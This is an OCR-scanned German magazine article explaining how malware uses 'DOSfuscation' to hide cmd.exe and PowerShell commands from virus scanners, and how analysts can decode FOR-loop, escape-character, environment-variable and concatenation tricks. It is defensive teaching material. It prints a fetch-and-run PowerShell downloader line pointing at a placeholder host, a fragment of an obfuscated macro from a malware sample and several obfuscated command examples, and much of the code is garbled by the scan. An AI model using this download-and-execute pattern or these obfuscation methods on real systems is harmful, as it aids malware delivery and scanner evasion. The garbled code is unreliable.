Per fek;:t ver“ste*ckt”

Wie Malware heimlich das Kommando {ibernimmt

Mit der Verschleierungstechnik
»DOSfuscation” verbergen Cyber-
Angreifer schidliche Windows-
Kommandozeilenbefehle geschickt
vor Virenscannern, Code-Anaiysten
und potenziellen Opfern. Wir
zeigen, wie man die Befehle
entschliisselt und die wahren
Absichten dahinter erkennt.

Von Olivia von Westernhagen
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D er folgende Text enthilt einen Kom-
mandozeilenbefehl, Kdnnen Sie ihn
entziffern?

%TEMP:~-8,~7%%ProgramFiles:~9,1%
Swindir:~-4,1%;/%TmP;~ -8, 1%"
s"et ohl=e.deffset IP=p**ingl&,
set uOn= he**isk&&ca*ll ;

58T SKI=%IP%%uOn%%ohL%&8cAll %SKi%"

Falls Sie jetzt ratlos den Kopfschiitteln, ist
das nicht weiter verwunderlich. Denn die
»DOSfuscation”-Technik verschleiert
cmd.exe- und PowerShell-Befehle derart
gekonnt, dass Malware-Analysten und
Antivirenprogramme bisweilen Schwie-
rigkeiten haben, sie iberhaupt als solche
zu identifizieren. Das zeigt etwa ein Blog-
eintrag des AV-Herstellers G Data von

Mitte 2018. ,, Als wir das Sample das erste
Mal angeschaut haben, dachten wir zu-
erst, wir hitten die Datei falsch expor-
tiert", kommentierte ein Analyst des Un-
ternehmens den wohl ersten DOSfusca-
tion-Fund in freier Wildbahn.

Seitdem verdffentlichen Antiviren-
Hersteiler und unabhingige Forscher
immer wieder Schadcode-Analysen, in
denen obfuskierte, oder besser: , DOStus-
kierte" Kommandozeilenbefehle auftau-
chen. Meist werden sie von Makrocode in
Word-Dokumenten gestartet, um zusitz-
lichen Schadcode, darunter etwa den be-
rlichtigten Trojaner Emotet, aus dem In-
ternet nachzuladen. DOSfuscation ist
zwar komplex, fiir Angreifer aber ganz
leicht auf beliebige Befehle anwendbar -
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dank des Frameworks ,, Invoke-DOSfus-
cation®, das bereits seit 2016 frei bei Git-
Hub verfiigbar ist.

Hinter DOSfuscation und dem
Framework steckt nicht etwa irgendeine
dubiose Cybergang, sondern der Sicher-
heitsforscher Daniel Bohannon. Er befasst
sich bereits seit einigen Jahren mit Obfus-
kierungstechniken fiir cmd.exe- und
PowerShell-Befehle. Fiir DOSfuscation
kombinierte er altbewéhrte Techniken aus
Malware-Samples in freier Wildbahn mit
eigenen Obfuskierungsmethoden, die er
im Rahmen automatisierter Tests erprob-
te und optimierte,

Zu seinen Forschungsergebnissen
hilt er Vortrage auf Sicherheitskonferen-
zen wie der Black Hat und der DerbyCon.
Sein erkldrtes Ziel ist es, IT-Sicherheits-
verantwortliche und -unternehmen fiir
das Thema zu sensibilisieren. Sein
Framework Invoke-DOSfuscation soll
ihnen dabei helfen, ihre Erkennungs- und
Abwehrstrategien an DOSfuskiertem
Code zu testen. Dass es regelmifig durch
Angreifer zweckentfremdet wird, ist ein
guter Grund, sich einige der am hiufigs-
ten verwendeten DOSfuscation-Techni-
ken im Detail anzuschauen. Nach der
Lektiire dieses Artikels werden Sie inder
Lage sein, den eingangs gezeigten Kom-
mandozeilenbefehl zu entziffern, Und Sie
erfahren, wie Sie die wichtigsten Ver-
schleierungstricks auf eigene Faust iden-
tifizieren, falls thr Virenscanner hinter-
herhinkt.

SchemaF

Kommandozeilenbefehle in Word-Doku-
menten, die als Downloader fungieren,
weisen schon seit Jahren fast immer das-
selbe Schema auf: Sie starten eine Instanz
von cmd.exe und laden dann unter Ver-
wendung von PowerShell Schadcode aus

dem Internet nach. Das Ganze sieht ver-
einfacht dargestellt so aus:

cmd /¢ "powershell,exe IEX
{New-Object Net.NebClient).
DownloadString('http://malware,url'}"

Laut Bohannon sucht Antiviren-Software
oftmals nach Schlisselbegriffen wie emd
und powershell, um dieses ,,Schema F*
aufzuspliren. Um dies zu erschweren,
kennt das Invoke-DOSfuscation-Frame-
work spezielle Obfuskierungstechniken
fiir Schliisselbegriffe. Eine von ihnen ist
eine spezielle FOR-Schleife, die beispiels-
weise wie folgt aussehen kann:

FroR | ; /*f ; " delims=nZa4FH
tokens=+2 " ; %n ; ; *IN, ( ,
Pty MMMMTYpe 5, M
AFind , "mdFi® 5 5 ', ;)
7 3 DO %n /%ToP:~ -8, 1%

Kaum zu glauben, aber wahr: Der Klartext
hinter dieser Obfuskierung lautet ~ ganz
nach Schema F-cmd /c.

Zeichensalat

Um die FOR-Schleife besser lesen zu kén-
nen, ist es hilfreich, erst einmal den obers-
ten Layer der Obfuslderung zu entfernen
-némlich die ¢ingestreuten (Sonder-)Zei-
chen, die der DOSfuscation ihr charakte-
ristisches Aussehen verleihen.

Die Platzierung der Zeichen geschieht
allerdings nicht zufillig: Fiir jedes von
ihnen gibt es Regeln, die beachtet werden
miissen. Umgekehrt folgt daraus natiirlich
auch, dass man die Zeichen nicht ,,einfach
so” entfernen dasf,

Diese Art der Obfuskierung ist nicht
neu: Bohannon fand sie vornehmlich in
Batch-Skripten, wobei Zirkumflexe beson-
ders gebriuchlich zu sein schienen, Im
Rahmen seiner Forschungen fiigte er le-
diglich Kommata und Semikola hinzu. Um
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die mit ihnen verbundenen Gesetzmifig-
keiten herauszufinden, setzte Bohannon
sie mittels sogenannter ,,Fuzzing Sctipts”
an verschiedenen Stellen ein und testete
dann (ebenfalls automatisiert), ob sie die
Funktionsfihigkeit des jeweiligen Befehls
beeintrichtigten.

In einigen Fillen sind die Regeln fir
die Platzierung recht offensichtlich - bei-
spielsweise diirfen zusitzlich eingefiigte
Leerzeichen, Kommata und Semikola
Schliisselworter oder Strings nicht ,,zer-
reiffen”. Anflihrungszeichen interpretiert
die Kommandozeile als Teil der normalen
Befehlssyntax. Solange sie stets in gera-
der Zahl auftauchen, sind sie beliebig
tiber das syntaktisch sinnvolle Maf
hinaus verwendbar. Ebenso kdnnten tib-
rigens auch Klammern nach dem Schema
FOR %x IN (({{{({y)))))) ineinander
verschachtelt werden, sofern man darauf
achtet, dass die Zahl der 6ffnenden und
schiiefenden Klammern identisch ist.
Kommata und Semikola werden posi-
tionsabhingig entweder vom Komman-
dozeileninterpreter ignoriert oder aber
als Separatoren zum Trennen von
Befehlssequenzen verarbeitet,

Eine Wissenschaft fiir sich ist der Ge-
brauch von Zirkumflexen, die cmd.exe als
sogenannte Maskierungszeichen erkennt.
Setzt man sie vor Zeichen, denen norma-

lerweise eine bestimmte Funktion zuge-

ordnet ist-so wie etwa Vergleichsoperato-
ren oder Slashes -, wird das dahinterste-
hende Zeichen als normaler Text interpre-
tiert, Daraus folgt, dass man sie auch
beliebig vor Zeichen verteilen kann, die
ohnehin schon normalen Text darstellen.
Und auch Dopplungen sind an einigen Stel-
len ertaubt, da ein Zirkuwnflex je ein nach-
folgendes Zirkumflex maskieren kann.,
Wer sich fiir weitere Details interes-
siert, kann diese in Bohannons White-

Function Cz2Var{}

On Error Resume Next

WNzLHpKoGj}) + * ; " 3 #¢4nw

CELsalrC = " ; ;

KpZeCzQqio = "snZia" + S4FY + H to" + "kengs * + v

B WA g HTYN

s8qgRd = 60264 + 5%665 * (qpUST - CFRiY1l / aMOFk + sKrWI - oaWlQ + SMWikR * 13496 -~ EVQLhw - B9806 + 45285

WEMELXEfw = CStr{Chr(UjPnTufIRfLz + EuRfmwN + 10% + mTIzaFvUD + gsUwjodmfO}) + “d /% + CStr{Chr (JDLZMiZNVzNcUK + CVLHkmM +
99 + UzwmbrEfZz + jigiBCtircut)) + # FY + "4oR
dikThhrdEh + BjPcEzjgLbbI)) + "

L ogow Ry L

AtQmuw = 37401 + 23291 * fVEzZB ~ GYfuoz / riXtjo + GQJIQ] - rCZih + Fqojp * 36972 - npVaW - B6754 + 59144

dYpZh0 = 42450 + 26233 * oSwZi - dDGXzP / 0jAVOU + QdKSH - HKzzoD + diZKr * 2630 - vbazz - 29131 + BET76
JE oo g g

CIwMZa = 41309 + 32852 * NLXRT - qoEVC / TivOUw + AWRDC - kNURzR + MOGWNE * 36454 - LpXQz - 731%7 + 67090

o4 CSEr (Chr {(KCwdWghzsiba + IzuKzdW + 34 +
del® + *i' 4+ ¢Btx(Chx (uhLuhNXiVb + zZRABWLCXGR + 109 + uXpwIaHelLoK + zidTKogj})y + #gv
B 9]

#2147 v+ CStr {Chr (pKhhFQCeC + KXaauUdsndgiiu + 34 + neqrNXZHz +

Dieser Makrocode versteckt Teile eines DOSfuskierten Befehls,
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FOR
FOR
FOR /F "delims=1 tokens=3" %X IN (.cdsm } =Microsoft.PowerShe 1 1 Cmd I etDefinition®XML.l)DO %X

3 2 3 4
FOR /F "delims=uil. tokens=3" %m IN ('{bype”™|find "1Da%‘)DO %m
FOR /F "delims=uil. tokens=3" %m IN ("Microsoft.PowerShellData.l="C:\Windows\Systen3Z\notepad.exa™ "%1""}DO %m
FOR /F "delims=if. tokens=3" %m IN (4 i crosoft . Powershell Ir ata . [.])DO %m

3 2 3 4 5

Die Schliisselbegriffe Cmd und PowerShell tarnt DOSfuscation wie in diesem Beispiel als FOR-Schieife.

paper (siehe ct.de/yjak} nachlesen. Er
nennt darin noch weitere Zeichen, die
kontextabhdngig nur an bestimmten
Positicnen im Befehi vorkommen diirfen
- darunter etwa positive Vorzeichen
wie das der Variable tokens aus dem Bei-
spiel.

Schileifenmagie

Nach dem Entfernen der ,Character In-
sertion Obfuscation” ist die FOR-Schieife
gut lesbar:

FoR /f "delims=nZa4FH tokens=2" %n
IN {'fT¥pe *| Find "mdFi®*}DO %n
/%TmPi~ -8, 1%

Zum besseren Verstindnis threr Funkti-
onsweise ist es hilfreich, sich die Syntax
in verallgemeinerter Form anzuschauen,
Sie lautet

FOR /F [Qptionen] %parameter
IN {Befehl 1) DO Befehl 2

Im konkreten Fall besteht Befehl 1 aus
zwei Schritten, Im ersten Schritt liefert der
Kommandozeilenbefehl ftype eine Liste
mit Zuordnungen von Dateitypen zu Pro-
grammen zuriick, mit denen diese ver-
kntipft sind. Diese iibergibt er im zweiten
Schritt an den find-Befehl, der darin unter
Beachtung von Grof- und Kleinschrei-
bung nach ,,mdFi* sucht. Er findet ihn im
ftype-Listeneintrag

SHOmdFile=%SystemRoot%\explorer.exe

und gibt ihn als Suchergebnis zuriick. Dass
das Ergebnis auch den Teilstring Cmd
enthélt, ist kein Zufall, sondern DOSfus-
cation-Kalkdl.

Um diesen zu extrahieren, nutzt der
FOR-Loop die im ,,Optionen”-Bereich der
Schieife definierten delims und tokens. Die
delims, zu Deutsch Trennzeichen, spalten
den ftype-Eintrag in mehrere Abschnitte
auf, Im konkreten Fall verwendet delims
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die Zeichen H (vor Cmd) und F (direkt da-
hinter) aus der angegebenen Zeichenkette
nZa4¥FH. Die {ibrigen Zeichen dienen
abermals nur der Obfuskierung. Hund F
trennen den Textstring in insgesamt drei
Abschnitte (tokens) auf, von denen Cmd
den zweiten bildet:

8 [H] Cmd {F} ile=(...)\explorer.exe

tokens = 2 sorgt nun fiir dessen Extrahie-
rung. sparameter und Befehl 2 entsprechen
im Beispiel derselben Variable %n, die
letztlich den Wert ¢md annimmt und aus-
gefiihrt wird.

Eine Variante dieser Schleife verwen-
det statt ftype den assoc-Befehl. Dieser
ordnet Dateiendungen Dateitypen zu, ar-
beitet also gewissermafien eine Ebene
unter ftype, Er produziert dabei dhnlichen
Output, der sich in gleicher Weise mit find
oder alternativ auch mit findstr durchsu-
chen lisst. ‘

Variabel obfuskieren

Moment mal: Was ist eigentlich mit dem
letzten Teil des Befehls, dem /%TnP:~ -8,
1% hinter dem %n? Wenn man die komplet-
te FOR-Schleife (unter vorheriger Entfer-
nung der Zeilenumbriiche) in die Kom-
mandozeile eintippt, sieht man, dass der
Interpreter sie tatsdchlich zu end /¢ auf-
16st. /%TmP:~ -8, 1%ist also gleichbedeu-
tend mit /c.

Des Riitsels Losung lautet ,Umge-
bungsvariablen”, Das sind Variablen des
Betriebssystems, die beispielsweise Infor-
mationen zu System, Dateiendungen oder
Hardware enthalten konnen. Um sich
simtliche globalen Umgebungsvariablen
Thres Systems ausgeben zu lassen, tippen
Sie einfach den Befehl $ET in die Kom-
mandozeile ein. -

Oft verweisen Umgebungsvariablen
auch auf Dateipfade - so wie im Fall der
Variable %tmp. Sie zeigt auf das Verzeich-

nis, in dem standardmifiig temporire Pa-
teien gespeichert werden - typischerweise
ist das C:\Users\Username\AppData\Local\
Temp,

Die Angabe -8,1 in der Obfuskierung
bedeutet so viel wie: ,,Gehe vom Ende des
tmp-Pfades aus acht Buchstaben riick-
wirts {-8) und gib dann von dieser Positi-
on aus einen (1) Buchstaben aus.” Dort be-
findet sich in diesem Fall der Buchstabe
»¢ aus dem Wort ,,Local” - und so wird
/%TmP:~ -8, 1% beim Parsenzu /e,

Man kann diese Art der Obfuskierung
auch auf komplette Schliisselbegriffe an-
wenden. Oder lediglich einzelne Zeichen
des Begriffs tarnen. So wie bei diesem mit
Hilfe von Invoke-DOStuscation generier-
ten PowerSheli-Aufruf:

p%Programfiles{xB86):~-17,-16%u
YTEMP 1 ~-3, 1%%APPDATA: ~-7 , -6%
%CommonProgramFiles (x86) : ~34%he
BTEMP: ~-6, -5%%TMP:~-18,-9%

Auf der Verwendung von Variablen basiert
auch eine weitere von Bohannon entwi-
ckelte DOSfuscation-Strategie: ,,Concate-
nation Obfuscation®, Sie dient nicht der
Obfuskierung der Schiiisselbegriffe cmd
oder powershell, sondern ist eine von meh-
reren Techniken, die der Verschleierung
des iibrigen, von Bohannon auch als ,Pay-
load” bezeichneten Befehlsteils dienen.

Bohannon arbeitet hierbei statt mit
globalen mit prozessspezifischen Varia-
blen. Er definiert mehrere von ihnen und
weist ihnen jeweils einen Teilstring des
auszufithrenden Befehls zu. Dann defi-
niert er eine letzte Variable, die als Wert
die aneinandergehiingten (konkatenier-
ten) Variabien erhalt. Deren Aufruf setzt
den Befehl aus den Variablenwerten wie-
der zusammen,

Das nachfolgende Beispiel verschiils-
selt passenderweise einen Aufruf des
Kommandozeilenbefehls seT:
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